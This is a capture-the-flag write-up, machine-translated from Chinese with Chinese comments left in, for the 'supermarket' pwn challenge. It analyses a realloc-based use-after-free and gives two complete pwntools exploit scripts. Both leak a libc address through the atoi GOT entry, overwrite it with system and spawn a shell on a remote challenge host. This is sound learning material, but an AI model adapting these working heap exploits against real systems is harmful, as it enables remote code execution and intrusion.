Article Directory
Thinking
0x00.tar decompression
Download get compressed file, decompress after a discovery or tar format compressed into ubuntu in.
tar -xf filename
Attached: Linux under the tar command Detailed
unpack libc.so.6 a library and an executable file
0x01. View protection
- 32位程序
- 可以进行栈溢出
- 堆栈上的代码不可执行
- 地址随机化未开启
0x02. Check program and debug
Obviously the menu title, try the following options can be used, feeling than the last to do little harder menu title.
1. add a commodity #添加商品
2. del a commodity #删除商品
3. list commodities #商品列表
4. Change the price of a commodity #修改商品价格(无权限)
5. Change the description of a commodity #修改商品类型
6. exit #退出
note program structure as follows:
typedef struct Node{
char name[16];
int price;
int descrip_size;
char *description;
}
0x03. Vulnerability Analysis
This is a general problem and UAF is quite different, because after the free pointer is also assigned to NULL.
In that a function using realloc.
Detailed realloc function
Function prototype
realloc prototype extern void * realloc (void * mem_address, unsigned int newsize);
Function Function
To determine whether the current pointer sufficient contiguous space, if any, to expand the address mem_address points, and return mem_address, if space is not enough, according to the specified size newsize allocated space, the original data is copied to the newly allocated from beginning to end memory area, and then release the original memory area indicated mem_address (Note: the original pointer is automatically released without the use of Free), and returns the first address of the newly allocated memory area. I.e. reassign addresses of memory blocks.
important point
If you reassign success points to the allocated memory pointer is returned, otherwise it returns a null pointer NULL.
0x04. Use ideas
- If the current pointer is not enough contiguous space, it will release the original mem_address, because there is no return address assigned node0-> description, so there UAF vulnerability.
- When you create a nodeX, first malloc node structure, then malloc description space. Create nodeX + 1, if the condition is satisfied, nodeX + 1 configuration request to appreciate nodeX-> description, a description that at this time editing nodeX structure of edit nodeX + 1. We description nodeX + 1 point atoi got a table, you can achieve leak atoi atoi address and modify got a table.
Use process
exp-1
# -.- coding=UTF-8 -.-
from pwn import *
from LibcSearcher import *
context(log_level="debug",arch="i386",os="linux")
r = remote("111.198.29.45",54105)
elf = ELF("./supermarket")
libc = ELF("./libc.so.6")
atoi_got = elf.got['atoi']
#define add1,del1,list1,edit1
def add1(index,size,content):
r.sendlineafter('your choice>>','1')
r.sendlineafter('name:',str(index))
r.sendlineafter('price:','10')
r.sendlineafter('descrip_size:',str(size))
r.sendlineafter('description:',content)
def del1(index):
r.sendlineafter('your choice>>','2')
r.sendlineafter('name:',str(index))
def list1():
r.sendlineafter('your choice>>','3')
def edit1(index,size,content):
r.sendlineafter('your choice>>','5')
r.sendlineafter('name:',str(index))
r.sendlineafter('descrip_size:',str(size))
r.sendlineafter('description:',content)
#node0
add1(0,0x80,'a'*0x10)
#node1
add1(1,0x20,'b'*0x10)
# realloc node0->description
#realloc的空间要比原来node0申请的空间大,UAF
#注意不能加任何数据,因为我们发送的数据要被写到一个被free的块
edit1(0,0x90,'')
#将node2分配到node0->description
add1(2,0x20,'d'*0x10)
payload = '2'.ljust(16,'\x00') + p32(20) + p32(0x20) + p32(atoi_got)
#realloc返回的指针没有赋给node0->description,即node0->description还是原来的地址,存的是node1
#edit1(0)即编辑node1的结构体,修改node1->description指向atoi的got表
edit1(0,0x80,payload)
list1()
r.recvuntil('2: price.20, des.')
#泄露atoi地址
atoi_addr = u32(r.recvuntil('\n').split('\n')[0].ljust(4,'\x00'))
#libc =LibcSearcher('atoi',atoi_addr)
offset = atoi_addr - libc.symbols['atoi']
system_addr = offset + libc.symbols['system']
#修改atoi的got表指向system
edit1(2,0x20,p32(system_addr))
#getshell
r.sendafter('your choice>>','/bin/sh\x00')
r.interactive()
Solution two
Function Information
flat function
作用:将参数展平为字符串
flat(*args, preprocessor = None, length = None, filler = de_bruijn(),
word_size = None, endianness = None, sign = None) -> str
Parameters: #参数
args – Values to flatten #要展平的值
preprocessor (function) – Gets called on every element to optionally transform the element before flattening. If None is returned, then the original value is used.
#预处理器(函数)–在扁平化之前,对每个元素进行调用以有选择地转换元素。 如果返回None,则使用原始值。
length – The length of the output. #输出字符串的长度
filler – Iterable to use for padding. #可迭代用于填充
word_size (int) – Word size of the converted integer.#转换后整数的字大小,如16表示16位
endianness (str) – Endianness of the converted integer (“little”/”big”).#转换后整数的字节序(小端/大段)
sign (str) – Signedness of the converted integer (False/True)#转换后整数的符号
For example:
(1)>>> flat(1, "test", [[["AB"]*2]*3], endianness = 'little', word_size = 16, sign = False)
b'\x01\x00testABABABABABAB'
#第一个1表示p16(1),16位有两个字节,所以是"\x01\x00"
(2)>>> flat({12: 0x41414141,
... 24: 'Hello',
... })
b'aaaabaaacaaaAAAAeaaafaaaHello'
#"12:0x41414141"表示在第12处插入AAAA,24:'Hello'同理
#其余的字母是类似cyclic的随机数
0x00. View heap address
pwndbg directly vmmap command can not heap address
breakpoint using vmmap command to find the address of the heap again under the malloc function at
pwndbg> b *0x8048AC1
Breakpoint 1 at 0x8048ac1
pwndbg> r
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x804a000 r-xp 2000 0 /home/devil/adworld/pwn/supermarket/supermarket
0x804a000 0x804b000 r--p 1000 1000 /home/devil/adworld/pwn/supermarket/supermarket
0x804b000 0x804c000 rw-p 1000 2000 /home/devil/adworld/pwn/supermarket/supermarket
0x804c000 0x806d000 rw-p 21000 0 [heap]
0xf7e05000 0xf7e06000 rw-p 1000 0
0xf7e06000 0xf7fb6000 r-xp 1b0000 0 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb6000 0xf7fb8000 r--p 2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb8000 0xf7fb9000 rw-p 1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb9000 0xf7fbc000 rw-p 3000 0
0xf7fd3000 0xf7fd4000 rw-p 1000 0
0xf7fd4000 0xf7fd7000 r--p 3000 0 [vvar]
0xf7fd7000 0xf7fd9000 r-xp 2000 0 [vdso]
0xf7fd9000 0xf7ffc000 r-xp 23000 0 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p 1000 22000 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p 1000 23000 /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 rw-p 21000 0 [stack]
0x01. Fake chunk
The second counterfeit goods structure, resulting in UAF
exp-2
#! /usr/bin/env python
# -.- coding=UTF-8 -.-
from pwn import *
context(log_level='debug',arch='i386',os='linux')
r = remote("111.198.29.45",31659)
p = process('./supermarket')
elf = ELF('./supermarket')
libc = ELF('./libc.so.6')
def add(name,price,size,desc):
r.sendlineafter('>>','1')
r.sendlineafter('name:',str(name))
r.sendlineafter('price:',str(price))
r.sendlineafter('size:',str(size))
r.sendlineafter('description:',str(desc))
def delete(name):
r.sendlineafter('>>','2')
r.sendlineafter('name:',str(name))
def show():
r.sendlineafter('>>','3')
r.recvuntil('B:')
r.recvuntil('des.')
return r.recvuntil('\n',drop=True)#默认是False
def edit(name,size,desc):
r.sendlineafter('>>','5')
r.sendlineafter('name',str(name))
r.sendlineafter('size:',str(size))
r.sendlineafter('description:',str(desc))
add('A','1','256','a')
edit('A','8','a')
add('B','1','16','b')
#gdb.attach(p)
#pause()
payload = flat(['a'*0xc,0x21,0x42,'a'*0xc,0x1,0x10,elf.got['atoi']])
edit('A','256',payload)
offset = u32(show()[:4]) - libc.symbols['atoi']
sys_addr = offset + libc.symbols['system']
edit('B','16',p32(sys_addr))
r.sendlineafter('>>','/bin/sh\x00')
r.interactive()
Attached:
pwntools_documentation
CTFwiki the After the Use as Free-
offensive of the world's Supermarket PWN solution to a problem
offensive world pwn supermarket + real-time data monitoring